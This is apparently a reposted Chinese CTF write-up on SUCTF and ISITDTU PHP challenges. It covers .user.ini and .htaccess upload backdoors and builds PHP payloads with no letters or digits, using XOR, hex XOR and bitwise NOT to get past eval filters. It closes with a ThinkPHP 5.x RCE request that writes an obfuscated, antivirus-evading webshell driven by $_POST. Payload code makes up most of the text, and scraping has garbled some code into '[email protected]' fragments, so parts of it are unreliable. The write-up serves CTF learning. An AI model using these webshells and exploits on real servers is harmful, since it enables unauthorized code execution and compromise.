Suctf知识记录&&PHP代码审计,无字母数字webshell
Checkin?.user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. 而.htacess构造后门是通过上传.htaccess设置AddType application/x-httpd-php .jpg,将jpg文件作为php解析,getshell Easyphp通过陆队的文章,了解了一些php代码审计的东西。 ISITDTU CTF 2019 EasyPHP 代码如下: <?php
highlight_file(__FILE__); $_ = @$_GET[‘_‘]; if ( preg_match(‘/[x00- 0-9‘"`$&.,|[{_defgopsx7F]+/i‘,$_) ) die(‘rosé will not do it‘); if ( strlen(count_chars(strtolower($_),0x3)) > 0xd ) die(‘you are so close,omg‘); eval($_); ?>
正则匹配了一些字母和数字还有一些特殊符号。并且strlen(count_chars(strtolower($_),0x3)) > 0xd?获取字符中的不同字符数量是否大于13.因此需要构造绕过正则并且不同字符的数量<=13个 博主这里提供了一个方法,让我感觉特别的受益=>通过脚本检测可以用的内置函数来寻找可利用的点。(可惜没有easyphp的docker环境) 贴上脚本: <?php
$arr = get_defined_functions()[‘internal‘]; foreach ($arr as $key => $value) { if ( preg_match(‘/[x00- 0-9‘"`$&.,$value) ){ unset($arr[$key]); continue; } if ( strlen(count_chars(strtolower($value),0x3)) > 0xd ){ unset($arr[$key]); continue; } } var_dump($arr); ?>
array(15) { [57]=> string(5) "bcmul" [329]=> string(5) "rtrim" [335]=> string(4) "trim" [336]=> string(5) "ltrim" [346]=> string(3) "chr" [370]=> string(4) "link" [371]=> string(6) "unlink" [413]=> string(3) "tan" [416]=> string(4) "atan" [417]=> string(5) "atanh" [421]=> string(4) "tanh" [521]=> string(6) "intval" [665]=> string(4) "mail" [706]=> string(3) "min" [707]=> string(3) "max" }
php > var_dump(!a);
PHP Notice: Use of undefined constant a - assumed ‘a‘ in php shell code on line 1 bool(false) php > var_dump(!!a); PHP Notice: Use of undefined constant a - assumed ‘a‘ in php shell code on line 1 bool(true)
在添加一个@忽略错误 <?php
var_dump(@a); //string(1) "a"
var_dump([email?protected]); //bool(false)
var_dump([email?protected]); //bool(true)
使用加法,会转化为数字型 <?php
var_dump([email?protected] + [email?protected]); //int(2) 1+1
var_dump(([email?protected] + [email?protected]) * ([email?protected] + [email?protected] + [email?protected] + [email?protected])); //int(6) (1+1)*(1+1+0+1)
使用chr转化为字符,.号拼接成phpinfo(),利用**次方运算快捷。 (chr(([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected]) - ([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + !!@a))
.chr(([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected]) - ([email?protected] + [email?protected] + [email?protected] + [email?protected] ) * ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + !!@a )) .chr(([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected]) - ([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + !!@a)) .chr(([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected]) - ([email?protected] + [email?protected] + [email?protected] + [email?protected] ) * ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] ) + !!@a) .chr(([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected]) - ([email?protected] + [email?protected]) * (([email?protected] + [email?protected] + [email?protected]) ** ([email?protected] + !!@a) )) .chr(([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected]) - ([email?protected] + [email?protected] + [email?protected] + [email?protected] ) * ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] ) - [email?protected] - !!@a) .chr(([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected]) - ([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + [email?protected]) - [email?protected]))();
但是这里需要用.来连接,已经已经过滤了.,并且不同字符有16个,长度也不行。所以这个思路out。 ? ? 单异或
还有这些字符可以使用,其中很常见的是^,异或再很多时候都能用来绕过。以前我也见过此类的一句话马,还收集了几个,就是通过异或产生需要的字符. <?php
$number=‘1‘; $strings=‘phpinfo()‘; $a=‘‘; $strings=str_split($strings); foreach ($strings as $value) { if(ord($number^$value)<127&&ord($number^$value)>32) { echo $value.":".($number^$value)."n"; } } ?>
p:A 发现_被过滤了,因此随机异或一个,n^4=Z,o^5=Z 这里可以用trim将int型转化为string型 <?php var_dump(trim(1)); ?> 因此得到payload: var_dump( trim( ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected]) * (([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected]) + ([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected]) + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected]) * (([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected]+ [email?protected]+ [email?protected]) + ([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected] ) - ([email?protected] + [email?protected]) ** ([email?protected] + [email?protected] + [email?protected] + [email?protected] + [email?protected]) - [email?protected] - [email?protected] [email?protected]) ) ^ @AYAXZWZ );//phpinfo 一共使用了21个字符,太多了。还需要减少使用字符数量。 通过异或查找一些相同的数字字符找出来组一起 p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9| h: |Q ^ 9|X ^ 0|Y ^ 1|Z ^ 2| p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9| i: |Q ^ 8|X ^ 1|Y ^ 0|Z ^ 3| n: |V ^ 8|W ^ 9|X ^ 6|Y ^ 7|Z ^ 4| f: |Q ^ 7|R ^ 4|T ^ 2|U ^ 3|V ^ 0|W ^ 1| o: |V ^ 9|W ^ 8|X ^ 7|Y ^ 6|Z ^ 5| payload: (AYAYYRY^trim(((((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a)))+(((!!a+!!a))**((!!a))))))(); ?正好使用了13个字符ARYtim!(+×); ####有无注意上面的是php版本,并且是(phpinfo)();执行的phpinfo。P神的无字母数字webshell中有提到过PHP7的新特性,PHP7前无法使用如此执行动态函数。(这样的payload有php版本限制) ? 多次异或首先多字符异或,是按顺序一个一个字符异或。 如 (qiqhnin^iiiiibi^hhhhimh)();//phpinfo(); (‘2222211‘^‘4444444‘^‘umulkcj‘)(); //phpinfo() 无法绕过,自己的尝试,需要全部用字符串,get接收默认是字符串类型 经过两次异或得到(phpinfo)(); 只用了10个字符 ? ? ?十六进制异或我们还可以用16进制异或来进行字符操作 print_r ^ 0xff -> 0x8f8d96918ba08d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))
scandir ^ 0xff -> 0x8c9c9e919b968d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d)) . ^ 0xff -> 0xd1 -> ((%ff)^(%d1))
当然也可以不使用 0xff ,使用以下 payload 就可以在没有字符限制的时候进行列目录了: ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))(((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))(((%ff)^(%d1))));
<?php
$a=‘print_r‘; for($i=0;$i<strlen($a);$i++) { echo ‘%‘.dechex((ord(chr(0xff)^$a[$i]))); } ?>
测试发现,只有当php7时才可以。 ? 取反这里引用了P神的无字母数字webshell之提高篇,中的取反操作。 echo urlencode(~‘phpinfo‘); 由于php7中允许(phpinfo)()这样的形式。因此也可以直接绕过 payload=(~%8F%97%8F%96%91%99%90)();
? ? 上面的payload几乎都是php7下的(phpinfo)()这样格式执行的。 ? 原题中:使用了这样的payload =>getshell,利用的是十六进制异或并且urlencode,将0x转化为% ${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag 注: ? ?这个payload,+=eval的时候是无法执行的。虽然PHP支持``变量函数(variable-functions)``:通过变量保存一个函数的名字,然后在其后附上一对小括号的形式即可完成对函数的调用。但是eval 属于PHP语法构造的一部分,并不是一个函数,所以不能通过 变量函数 的形式来调用(虽然她确实像极了函数原型) 这样的语法构造还包括:echo,print,unset(),isset(),empty(),include,require,... ? CTF 群里有人发的WEB题目 <?php
error_reporting(E_ALL^E_NOTICE^E_WARNING); function GetYourFlag(){ echo file_get_contents("./flag.php"); } if(isset($_GET[‘code‘])){ $code = $_GET[‘code‘]; //print(strlen($code)); if(strlen($code)>27){ die("Too Long."); } if(preg_match(‘/[a-zA-Z0-9_&^<>"‘]+/‘,$_GET[‘code‘])) { die("Not Allowed."); } @eval($_GET[‘code‘]); }else{ highlight_file(__FILE__); } ?>
? 最近接触了很多这样的文章和题目,比如P神的无字母webshell或者陆队和smile师傅的心得 ? 这里我截取P神的文章 ? ?PHP7前是不允许用 <?php echo urlencode(~(‘phpinfo‘)); ?> %8F%97%8F%96%91%99%90 取反尝试: ? ? <?php echo urlencode(~(‘GetYourFlag‘)); ?> getflag ? ? Suctf中的正则 ? ? 可以执行的payload: ${"`{{{"^"?<>/"}[‘+‘]();&+=get_the_flag 因为${}中的代码是可以执行的 而字符串拼接成的不具有函数的执行特性 <?php $_GET[‘a‘]=‘woaini‘; $a="`{{{"^"?<>/"; $b=‘$‘.$a.‘["a"]‘; echo $b; ?> 而${} <?php $_GET[‘a‘]=‘woaini‘; var_dump(${"`{{{"^"?<>/"}); ?> array(1) { ${}像可变变量一样的方式。 ? 免杀马今天看到先知社区的一篇文章https://xz.aliyun.com/t/6267,文章中有提到利用TP5.x RCE的一个免杀马,其实就是上面题目中的知识产物 s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][][email?protected]_put_contents(base64_decode(MTI1ODQucGhw),base64_decode(b2suPD9waHAgJHsiYHt7eyJeIj88Pi8ifVthXSgkX1BPU1RbeF0pOzs7)) ok.<?php ${"`{{{"^"?<>/"}[a]($_POST[x]);;; 利用了call_user_func_array回调函数,将assert作为函数,后面的@file_put_contents作为函数里的参数。因此成功写入。 <?php ${"`{{{"^"?<>/"}[‘a‘]($_POST[‘x‘]); 可以给a传值为assert,x传值为eval(rce)来获得马儿的效果. ? 学习资料; https://blog.zeddyu.info/2019/07/20/isitdtu-2019/ https://www.smi1e.top/php%E4%B8%8D%E4%BD%BF%E7%94%A8%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E5%92%8C%E4%B8%8B%E5%88%92%E7%BA%BF%E5%86%99shell/ https://www.leavesongs.com/penetration/webshell-without-alphanum.html (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |